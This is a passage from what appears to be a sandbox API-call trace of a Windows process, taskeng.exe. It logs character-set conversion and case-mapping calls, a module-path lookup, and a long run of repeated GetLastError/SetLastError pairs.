\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䮅⩽", cchSrc=256, lpCharType=0x231f610 | out: lpCharType=0x231f610) returned 1 [0105.029] GetLastError () returned 0x7f [0105.029] SetLastError (dwErrCode=0x7f) [0105.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x231f310, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0105.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x231f310, cbMultiByte=256, lpWideCharStr=0x231efe0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0105.029] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0105.029] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x231edd0, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0105.029] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x231f410, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿpbdw", lpUsedDefaultChar=0x0) returned 256 [0105.029] GetLastError () returned 0x7f [0105.029] SetLastError (dwErrCode=0x7f) [0105.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x231f310, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0105.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x231f310, cbMultiByte=256, lpWideCharStr=0x231efe0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0105.029] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0105.029] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x231edd0, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0105.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x231f510, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0105.030] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1f75860, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\taskeng.exe" (normalized: "c:\\windows\\system32\\taskeng.exe")) returned 0x1f [0105.030] GetLastError () returned 0x0 [0105.030] SetLastError (dwErrCode=0x0) [0105.030] GetLastError () returned 0x0 [0105.030] SetLastError (dwErrCode=0x0) [0105.030] GetLastError () returned 0x0 [0105.030] SetLastError (dwErrCode=0x0) [0105.030] GetLastError () returned 0x0 [0105.030] SetLastError (dwErrCode=0x0) [0105.030] GetLastError () returned 0x0 [0105.030] SetLastError (dwErrCode=0x0) [0105.030] GetLastError () returned 0x0 [0105.030] SetLastError (dwErrCode=0x0) [0105.030] GetLastError () returned 0x0 [0105.030] SetLastError (dwErrCode=0x0) [0105.030] GetLastError () returned 0x0 [0105.030] SetLastError (dwErrCode=0x0) [0105.030] GetLastError () returned 0x0 [0105.030] SetLastError (dwErrCode=0x0) [0105.030] GetLastError () returned 0x0 [0105.030] SetLastError (dwErrCode=0x0) [0105.030] GetLastError () returned 0x0 [0105.030] SetLastError (dwErrCode=0x0) [0105.030] GetLastError () returned 0x0 [0105.030] SetLastError (dwErrCode=0x0) [0105.030] GetLastError () returned 0x0 [0105.030] SetLastError (dwErrCode=0x0) [0105.030] GetLastError () returned 0x0 [0105.030] SetLastError (dwErrCode=0x0) [0105.030] GetLastError () returned 0x0 [0105.030] SetLastError (dwErrCode=0x0) [0105.030] GetLastError () returned 0x0 [0105.030] SetLastError (dwErrCode=0x0) [0105.030] GetLastError () returned 0x0 [0105.030] SetLastError (dwErrCode=0x0) [0105.030] GetLastError () returned 0x0 [0105.030] SetLastError (dwErrCode=0x0) [0105.030] GetLastError () returned 0x0 [0105.030] SetLastError (dwErrCode=0x0) [0105.030] GetLastError () returned 0x0 [0105.031] SetLastError (dwErrCode=0x0) [0105.031] GetLastError () returned 0x0 [0105.031] SetLastError (dwErrCode=0x0) [0105.031] GetLastError () returned 0x0 [0105.031] SetLastError (dwErrCode=0x0) [0105.031] GetLastError () returned 0x0 [0105.031] SetLastError (dwErrCode=0x0) [0105.031] GetLastError () returned 0x0 [0105.031] SetLastError (dwErrCode=0x0) [0105.031] GetLastError () returned 0x0 [0105.031] SetLastError (dwErrCode=0x0) [0105.031] GetLastError () returned 0x0 [0105.031] SetLastError (dwErrCode=0x0) [0105.031] GetLastError () returned 0x0 [0105.031] SetLastError (dwErrCode=0x0) [0105.031] GetLastError () returned 0x0 [0105.031] SetLastError (dwErrCode=0x0) [0105.031] GetLastError () returned 0x0 [0105.031] SetLastError (dwErrCode=0x0) [0105.031] GetLastError () returned 0x0 [0105.031] SetLastError (dwErrCode=0x0) [0105.031] GetLastError () returned 0x0 [0105.031] SetLastError (dwErrCode=0x0) [0105.031] GetLastError () returned 0x0 [0105.031] SetLastError (dwErrCode=0x0) [0105.031] GetLastError () returned 0x0 [0105.031] SetLastError (dwErrCode=0x0) [0105.031] GetLastError () returned 0x0 [0105.031] SetLastError (dwErrCode=0x0) [0105.031] GetLastError () returned 0x0 [0105.031] SetLastError (dwErrCode=0x0) [0105.031] GetLastError () returned 0x0 [0105.031] SetLastError (dwErrCode=0x0) [0105.031] GetLastError () returned 0x0 [0105.031] SetLastError (dwErrCode=0x0) [0105.031] GetLastError () returned 0x0 [0105.031] SetLastError (dwErrCode=0x0) [0105.031] GetLastError () returned 0x0 [0105.032] SetLastError (dwErrCode=0x0) [0105.032] GetLastError () returned 0x0 [0105.032] SetLastError (dwErrCode=0x0) [0105.032] GetLastError () returned 0x0 [0105.032] SetLastError (dwErrCode=0x0) [0105.032] GetLastError () returned 0x0 [0105.032] SetLastError (dwErrCode=0x0) [0105.032] GetLastError () returned 0x0 [0105.032] SetLastError (dwErrCode=0x0) [0105.032] GetLastError () returned 0x0 [0105.032] SetLastError (dwErrCode=0x0) [0105.032] GetLastError () returned 0x0 [0105.032] SetLastError (dwErrCode=0x0) [0105.032] GetLastError () returned 0x0 [0105.032] SetLastError (dwErrCode=0x0) [0105.032] GetLastError () returned 0x0 [0105.032] SetLastError (dwErrCode=0x0) [0105.032] GetLastError () returned 0x0 [0105.032] SetLastError (dwErrCode=0x0) [0105.032] GetLastError () returned 0x0 [0105.032] SetLastError (dwErrCode=0x0) [0105.032] GetLastError () returned 0x0 [0105.032] SetLastError (dwErrCode=0x0) [0105.032] GetLastError () returned 0x0 [0105.032] SetLastError (dwErrCode=0x0) [0105.032] GetLastError () returned 0x0 [0105.032] SetLastError (dwErrCode=0x0) [0105.032] GetLastError () returned 0x0 [0105.032] SetLastError (dwErrCode=0x0) [0105.032] GetLastError () returned 0x0 [0105.032] SetLastError (dwErrCode=0x0) [0105.032] GetLastError () returned 0x0 [0105.032] SetLastError (dwErrCode=0x0) [0105.032] GetLastError () returned 0x0 [0105.032] SetLastError (dwErrCode=0x0) [0105.032] GetLastError () returned 0x0 [0105.032] SetLastError (dwErrCode=0x0) [0105.032] GetLastError () returned 0x0 [0105.032] SetLastError (dwErrCode=0x0) [0105.032] GetLastError () returned 0x0 [0105.032] SetLastError (dwErrCode=0x0) [0105.032] GetLastError () returned 0x0 [0105.033] SetLastError (dwErrCode=0x0) [0105.033] GetLastError () returned 0x0 [0105.033] SetLastError (dwErrCode=0x0) [0105.033] GetLastError () returned 0x0 [0105.033] SetLastError (dwErrCode=0x0) [0105.033] GetLastError () returned 0x0 [0105.033] SetLastError (dwErrCode=0x0) [0105.033] GetLastError () returned 0x0 [0105.033] SetLastError (dwErrCode=0x0) [0105.033] GetLastError () returned 0x0 [0105.033] SetLastError (dwErrCode=0x0) [0105.033] GetLastError () returned 0x0 [0105.033] SetLastError (dwErrCode=0x0) [0105.033] GetLastError () returned 0x0 [0105.033] SetLastError (dwErrCode=0x0) [0105.033] GetLastError () returned 0x0 [0105.033] SetLastError (dwErrCode=0x0) [0105.033] GetLastError () returned 0x0 [0105.033] SetLastError (dwErrCode=0x0) [0105.033] GetLastError () returned 0x0 [0105.033] SetLastError (dwErrCode=0x0) [0105.033] GetLastError () returned 0x0 [0105.033] SetLastError (dwErrCode=0x0) [0105.033] GetLastError () returned 0x0 [0105.033] SetLastError (dwErrCode=0x0) [0105.033] GetLastError () returned 0x0 [0105.033] SetLastError (dwErrCode=0x0) [0105.033] GetLastError () returned 0x0 [0105.033] SetLastError (dwErrCode=0x0) [0105.033] GetLastError () returned 0x0 [0105.033] SetLastError (dwErrCode=0x0) [0105.033] GetLastError () returned 0x0 [0105.033] SetLastError (dwErrCode=0x0) [0105.033] GetLastError () returned 0x0 [0105.033] SetLastError (dwErrCode=0x0) [0105.033] GetLastError () returned 0x0 [0105.033] SetLastError (dwErrCode=0x0) [0105.033] GetLastError () returned 0x0 [0105.033] SetLastError (dwErrCode=0x0) [0105.033] GetLastError () returned 0x0 [0105.033] SetLastError (dwErrCode=0x0) [0105.033] GetLastError () returned 0x0 [0105.033] SetLastError (dwErrCode=0x0) [0105.033] GetLastError () returned 0x0 [0105.033] SetLastError (dwErrCode=0x0) [0105.033] GetLastError () returned 0x0 [0105.033] SetLastError (dwErrCode=0x0) [0105.033] GetLastError () returned 0x0 [0105.033] SetLastError (dwErrCode=0x0) [0105.033] GetLastError () returned 0x0 [0105.033] SetLastError (dwErrCode=0x0) [0105.033] GetLastError () returned 0x0 [0105.034] SetLastError (dwErrCode=0x0) [0105.034] GetLastError () returned 0x0 [0105.034] SetLastError (dwErrCode=0x0) [0105.034] GetLastError () returned 0x0 [0105.034] SetLastError (dwErrCode=0x0) [0105.034] GetLastError () returned 0x0 [0105.034] SetLastError (dwErrCode=0x0) [0105.034] GetLastError () returned 0x0 [0105.034] SetLastError (dwErrCode=0x0) [0105.034] GetLastError () returned 0x0 [0105.034] SetLastError (dwErrCode=0x0) [0105.034] GetLastError () returned 0x0 [0105.034] SetLastError (dwErrCode=0x0) [0105.034] GetLastError () returned 0x0 [0105.034] SetLastError (dwErrCode=0x0) [0105.034] GetLastError () returned 0x0 [0105.034] SetLastError (dwErrCode=0x0) [0105.034] GetLastError () returned 0x0 [0105.034] SetLastError (dwErrCode=0x0) [0105.034] GetLastError () returned 0x0 [0105.034] SetLastError (dwErrCode=0x0) [0105.034] GetLastError () returned 0x0 [0105.034] SetLastError (dwErrCode=0x0) [0105.034] GetLastError () returned 0x0 [0105.034] SetLastError (dwErrCode=0x0) [0105.034] GetLastError () returned 0x0 [0105.034] SetLastError (dwErrCode=0x0) [0105.034] GetLastError () returned 0x0 [0105.034] SetLastError (dwErrCode=0x0) [0105.034] GetLastError () returned 0x0 [0105.034] SetLastError (dwErrCode=0x0) [0105.034] GetLastError () returned 0x0 [0105.034] SetLastError (dwErrCode=0x0) [0105.034] GetLastError () returned 0x0 [0105.034] SetLastError (dwErrCode=0x0) [0105.034] GetLastError () returned 0x0 [0105.034] SetLastError (dwErrCode=0x0) [0105.034] GetLastError () returned 0x0 [0105.034] SetLastError (dwErrCode=0x0) [0105.034] GetLastError () returned 0x0 [0105.034] SetLastError (dwErrCode=0x0) [0105.034] GetLastError () returned 0x0 [0105.034] SetLastError (dwErrCode=0x0) [0105.034] GetLastError () returned 0x0 [0105.034] SetLastError (dwErrCode=0x0) [0105.034] GetLastError () returned 0x0 [0105.034] SetLastError (dwErrCode=0x0) [0105.034] GetLastError () returned 0x0 [0105.034] SetLastError (dwErrCode=0x0) [0105.034] GetLastError () returned 0x0 [0105.034] SetLastError (dwErrCode=0x0) [0105.034] GetLastError () returned 0x0 [0105.035] SetLastError (dwErrCode=0x0) [0105.035] GetLastError () returned 0x0 [0105.035] SetLastError (dwErrCode=0x0) [0105.035] GetLastError () returned 0x0 [0105.035] SetLastError (dwErrCode=0x0) [0105.035] GetLastError () returned 0x0 [0105.035] SetLastError (dwErrCode=0x0) [0105.035] GetLastError () returned 0x0 [0105.035] SetLastError (dwErrCode=0x0) [0105.035] GetLastError () returned 0x0 [0105.035] SetLastError (dwErrCode=0x0) [0105.035] GetLastError () returned 0x0 [0105.035] SetLastError (dwErrCode=0x0) [0105.035] GetLastError () returned 0x0 [0105.035] SetLastError (dwErrCode=0x0) [0105.035] GetLastError () returned 0x0 [0105.035] SetLastError (dwErrCode=0x0) [0105.035] GetLastError () returned 0x0 [0105.035] SetLastError (dwErrCode=0x0) [0105.035] GetLastError () returned 0x0 [0105.035] SetLastError (dwErrCode=0x0) [0105.035] GetLastError () returned 0x0 [0105.035] SetLastError (dwErrCode=0x0) [0105.035] GetLastError () returned 0x0 [0105.035] SetLastError (dwErrCode=0x0) [0105.035] GetLastError () returned 0x0 [0105.035] SetLastError (dwErrCode=0x0) [0105.035] GetLastError () returned 0x0 [0105.035] SetLastError (dwErrCode=0x0) [0105.035] GetLastError () returned 0x0 [0105.035] SetLastError (dwErrCode=0x0) [0105.035] GetLastError () returned 0x0 [0105.035] SetLastError (dwErrCode=0x0) [0105.035] GetLastError () returned 0x0 [0105.035] SetLastError (dwErrCode=0x0) [0105.035] GetLastError () returned 0x0 [0105.035] SetLastError (dwErrCode=0x0) [0105.035] GetLastError () returned 0x0 [0105.035] SetLastError (dwErrCode=0x0) [0105.035] GetLastError () returned 0x0 [0105.035] SetLastError (dwErrCode=0x0) [0105.035] GetLastError () returned 0x0 [0105.035] SetLastError (dwErrCode=0x0) [0105.035] GetLastError () returned 0x0 [0105.035] SetLastError (dwErrCode=0x0) [0105.035] GetLastError () returned 0x0 [0105.035] SetLastError (dwErrCode=0x0) [0105.035] GetLastError () returned 0x0 [0105.035] SetLastError (dwErrCode=0x0) [0105.035] GetLastError () returned 0x0 [0105.035] SetLastError (dwErrCode=0x0) [0105.035] GetLastError () returned 0x0 [0105.036] SetLastError (dwErrCode=0x0) [0105.036] GetLastError () returned 0x0 [0105.036] SetLastError (dwErrCode=0x0) [0105.036] GetLastError () returned 0x0 [0105.036] SetLastError (dwErrCode=0x0) [0105.036] GetLastError () returned 0x0 [0105.036] SetLastError (dwErrCode=0x0) [0105.036] GetLastError () returned 0x0 [0105.036] SetLastError (dwErrCode=0x0) [0105.036] GetLastError () returned 0x0 [0105.036] SetLastError (dwErrCode=0x0) [0105.036] GetLastError () returned 0x0 [0105.036] SetLastError (dwErrCode=0x0) [0105.036] GetLastError () returned 0x0 [0105.036] SetLastError (dwErrCode=0x0) [0105.036] GetLastError () returned 0x0 [0105.036] SetLastError (dwErrCode=0x0) [0105.036] GetLastError () returned 0x0 [0105.036] SetLastError (dwErrCode=0x0) [0105.036] GetLastError () returned 0x0 [0105.036] SetLastError (dwErrCode=0x0) [0105.036] GetLastError () returned 0x0 [0105.036] SetLastError (dwErrCode=0x0) [0105.036] GetLastError () returned 0x0 [0105.036] SetLastError (dwErrCode=0x0) [0105.036] GetLastError () returned 0x0 [0105.036] SetLastError (dwErrCode=0x0) [0105.036] GetLastError () returned 0x0 [0105.036] SetLastError (dwErrCode=0x0) [0105.036] GetLastError () returned 0x0 [0105.036] SetLastError (dwErrCode=0x0) [0105.036] GetLastError () returned 0x0 [0105.036] SetLastError (dwErrCode=0x0) [0105.036] GetLastError () returned 0x0 [0105.036] SetLastError (dwErrCode=0x0) [0105.036] GetLastError () returned 0x0 [0105.036] SetLastError (dwErrCode=0x0) [0105.036] GetLastError () returned 0x0 [0105.036] SetLastError (dwErrCode=0x0) [0105.036] GetLastError () returned 0x0 [0105.036] SetLastError (dwErrCode=0x0) [0105.036] GetLastError () returned 0x0 [0105.036] SetLastError (dwErrCode=0x0) [0105.036] GetLastError () returned 0x0 [0105.036] SetLastError (dwErrCode=0x0) [0105.036] GetLastError () returned 0x0 [0105.036] SetLastError (dwErrCode=0x0) [0105.036] GetLastError () returned 0x0 [0105.036] SetLastError (dwErrCode=0x0) [0105.036] GetLastError () returned 0x0 [0105.036] SetLastError (dwErrCode=0x0) [0105.037] GetLastError () returned 0x0 [0105.037] SetLastError (dwErrCode=0x0) [0105.037] GetLastError () returned 0x0 [0105.037] SetLastError (dwErrCode=0x0) [0105.037] GetLastError () returned 0x0 [0105.037] SetLastError (dwErrCode=0x0) [0105.037] GetLastError () returned 0x0 [0105.037] SetLastError (dwErrCode=0x0) [0105.037] GetLastError () returned 0x0 [0105.037] SetLastError (dwErrCode=0x0) [0105.037] GetLastError () returned 0x0 [0105.037] SetLastError (dwErrCode=0x0) [0105.037] GetLastError () returned 0x0 [0105.037] SetLastError (dwErrCode=0x0) [0105.037] GetLastError () returned 0x0 [0105.037] SetLastError (dwErrCode=0x0) [0105.037] GetLastError () returned 0x0 [0105.037] SetLastError (dwErrCode=0x0) [0105.037] GetLastError () returned 0x0 [0105.037] SetLastError (dwErrCode=0x0) [0105.037] GetLastError () returned 0x0 [0105.037] SetLastError (dwErrCode=0x0) [0105.037] GetLastError () returned 0x0 [0105.037] SetLastError (dwErrCode=0x0) [0105.037] GetLastError () returned 0x0 [0105.037] SetLastError (dwErrCode=0x0) [0105.037] GetLastError () returned 0x0 [0105.037] SetLastError (dwErrCode=0x0) [0105.037] GetLastError () returned 0x0 [0105.037] SetLastError (dwErrCode=0x0) [0105.037] GetLastError () returned 0x0 [0105.037] SetLastError (dwErrCode=0x0) [0105.037] GetLastError () returned 0x0 [0105.037] 